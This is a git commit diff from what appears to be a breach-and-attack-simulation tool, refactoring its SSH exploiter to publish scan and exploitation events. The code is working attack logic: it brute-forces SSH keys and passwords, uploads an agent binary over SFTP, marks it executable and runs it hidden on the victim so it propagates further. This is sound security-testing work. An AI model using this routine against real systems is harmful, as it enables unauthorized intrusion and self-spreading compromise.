Merge branch 2269-publish-events-from-sshexec-exploiter into develop

PR #2395
This commit is contained in:
Mike Salvatore 2022-10-06 10:00:35 -04:00 committed by GitHub
commit de9b5601d8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 167 additions and 92 deletions

View File

@ -1,15 +1,27 @@
import io import io
import logging import logging
from ipaddress import IPv4Address
from pathlib import PurePath from pathlib import PurePath
from time import time
from typing import Optional
import paramiko import paramiko
from common import OperatingSystem from common import OperatingSystem
from common.agent_events import TCPScanEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
)
from common.types import PortStatus
from common.utils import Timer from common.utils import Timer
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit import RetrievalError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
@ -19,6 +31,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.ids import get_agent_id
from infection_monkey.utils.threading import interruptible_iter from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -30,11 +43,15 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15 TRANSFER_UPDATE_RATE = 15
SSH_EXPLOITER_TAG = "ssh-exploiter"
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_EXPLOITED_SERVICE = "SSH" _EXPLOITED_SERVICE = "SSH"
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
def __init__(self): def __init__(self):
super(SSHExploiter, self).__init__() super(SSHExploiter, self).__init__()
@ -46,7 +63,7 @@ class SSHExploiter(HostExploiter):
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
timer.reset() timer.reset()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs( user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"], identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"], secrets=self.options["credentials"]["exploit_ssh_keys"],
@ -70,6 +87,8 @@ class SSHExploiter(HostExploiter):
pkey = paramiko.RSAKey.from_private_key(pkey) pkey = paramiko.RSAKey.from_private_key(pkey)
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key") logger.error("Failed reading ssh key")
timestamp = time()
try: try:
ssh.connect( ssh.connect(
self.host.ip_addr, self.host.ip_addr,
@ -86,20 +105,30 @@ class SSHExploiter(HostExploiter):
) )
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, ssh_key=ssh_string) self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh return ssh
except paramiko.AuthenticationException as err: except paramiko.AuthenticationException as err:
ssh.close() ssh.close()
logger.info( error_message = (
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}", f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
) )
logger.info(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string)
continue continue
except Exception as err: except Exception as err:
logger.error(f"Unknown error while attempting to login with ssh key: {err}") error_message = (
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
raise FailedExploitationError raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient: def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
user_password_pairs = generate_identity_secret_pairs( user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"], identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"], secrets=self.options["credentials"]["exploit_password_list"],
@ -116,6 +145,8 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient() ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
timestamp = time()
try: try:
ssh.connect( ssh.connect(
self.host.ip_addr, self.host.ip_addr,
@ -131,108 +162,79 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port) self.add_vuln_port(port)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, current_password) self.report_login_attempt(True, user, current_password)
return ssh return ssh
except paramiko.AuthenticationException as err: except paramiko.AuthenticationException as err:
logger.debug( error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
"Failed logging into victim %r with user" " %s: (%s)", logger.debug(error_message)
self.host, self._publish_exploitation_event(timestamp, False, error_message=error_message)
user,
err,
)
self.report_login_attempt(False, user, current_password) self.report_login_attempt(False, user, current_password)
ssh.close() ssh.close()
continue continue
except Exception as err: except Exception as err:
logger.error(f"Unknown error occurred while trying to login to ssh: {err}") error_message = (
f"Unexpected error while attempting to login to {self.host} with password: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
raise FailedExploitationError raise FailedExploitationError
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
port = SSH_PORT port = self._get_ssh_port()
# if ssh banner found on different port, use that port. if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping" self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message) logger.info(self.exploit_result.error_message)
return self.exploit_result return self.exploit_result
try:
ssh = self._exploit(port)
except FailedExploitationError as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try:
self._propagate(ssh)
except (FailedExploitationError, RuntimeError) as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
finally:
ssh.close()
return self.exploit_result
def _exploit(self, port: int) -> paramiko.SSHClient:
try: try:
ssh = self.exploit_with_ssh_keys(port) ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError: except FailedExploitationError:
try: try:
ssh = self.exploit_with_login_creds(port) ssh = self.exploit_with_login_creds(port)
except FailedExploitationError: except FailedExploitationError:
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
logger.error(self.exploit_result.error_message)
return self.exploit_result return ssh
def _propagate(self, ssh: paramiko.SSHClient):
agent_binary_file_object = self._get_agent_binary(ssh)
if agent_binary_file_object is None:
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
if self._is_interrupted(): if self._is_interrupted():
self._set_interrupted() self._set_interrupted()
return self.exploit_result raise RuntimeError("Propagation was interrupted")
if not self.host.os.get("type"):
try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.exploit_result.os = OperatingSystem.LINUX
self.host.os["type"] = OperatingSystem.LINUX
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
if not uname_os:
logger.error(self.exploit_result.error_message)
return self.exploit_result
except Exception as exc:
self.exploit_result.error_message = (
f"Error running uname os command on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os
)
if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
monkey_path_on_victim = get_agent_dst_path(self.host) monkey_path_on_victim = get_agent_dst_path(self.host)
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
try:
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
status = ScanStatus.USED
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED
self.telemetry_messenger.send_telemetry( self.telemetry_messenger.send_telemetry(
T1105Telem( T1105Telem(
@ -242,13 +244,15 @@ class SSHExploiter(HostExploiter):
monkey_path_on_victim, monkey_path_on_victim,
) )
) )
if status == ScanStatus.SCANNED: if status == ScanStatus.SCANNED:
return self.exploit_result raise FailedExploitationError(self.exploit_result.error_message)
try: try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &" cmdline += " > /dev/null 2>&1 &"
timestamp = time()
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info( logger.info(
@ -259,18 +263,87 @@ class SSHExploiter(HostExploiter):
) )
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
self._publish_propagation_event(timestamp, True)
ssh.close()
self.add_executed_cmd(cmdline) self.add_executed_cmd(cmdline)
return self.exploit_result
except Exception as exc: except Exception as exc:
self.exploit_result.error_message = ( error_message = f"Error running monkey on victim {self.host}: ({exc})"
f"Error running monkey on victim {self.host}: ({exc})" self._publish_propagation_event(timestamp, False, error_message=error_message)
) raise FailedExploitationError(error_message)
logger.error(self.exploit_result.error_message) def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
return self.exploit_result is_open, _ = check_tcp_port(ip, port)
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
self.agent_event_queue.publish(
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
)
return is_open
def _get_ssh_port(self) -> int:
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))
return port
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.exploit_result.os = OperatingSystem.LINUX
self.host.os["type"] = OperatingSystem.LINUX
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
if not uname_os:
logger.error(self.exploit_result.error_message)
return False
except Exception as exc:
logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
return False
return True
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
if not self.host.os.get("type") and not self._get_victim_os(ssh):
return None
try:
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os
)
except RetrievalError:
return None
return agent_binary_file_object
def _upload_agent_binary(
self,
ssh: paramiko.SSHClient,
agent_binary_file_object: io.BytesIO,
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try:
timestamp = time()
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
return ScanStatus.USED
except Exception as exc:
error_message = f"Error uploading file into victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message
return ScanStatus.SCANNED
def _set_executable_bit_on_agent_binary( def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath

View File

@ -3,6 +3,8 @@ import select
import socket import socket
import struct import struct
import sys import sys
from ipaddress import IPv4Address
from typing import Optional
from common.common_consts.timeouts import CONNECTION_TIMEOUT from common.common_consts.timeouts import CONNECTION_TIMEOUT
from infection_monkey.network.info import get_routes from infection_monkey.network.info import get_routes
@ -13,7 +15,7 @@ BANNER_READ = 1024
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
""" """
Checks if a given TCP port is open Checks if a given TCP port is open
:param ip: Target IP :param ip: Target IP
@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
sock.settimeout(timeout) sock.settimeout(timeout)
try: try:
sock.connect((ip, port)) sock.connect((str(ip), port))
except socket.timeout: except socket.timeout:
return False, None return False, None
except socket.error as exc: except socket.error as exc:
@ -51,7 +53,7 @@ def tcp_port_to_service(port):
return "tcp-" + str(port) return "tcp-" + str(port)
def get_interface_to_target(dst: str) -> str: def get_interface_to_target(dst: str) -> Optional[str]:
""" """
:param dst: destination IP address string without port. E.G. '192.168.1.1.' :param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.' :return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'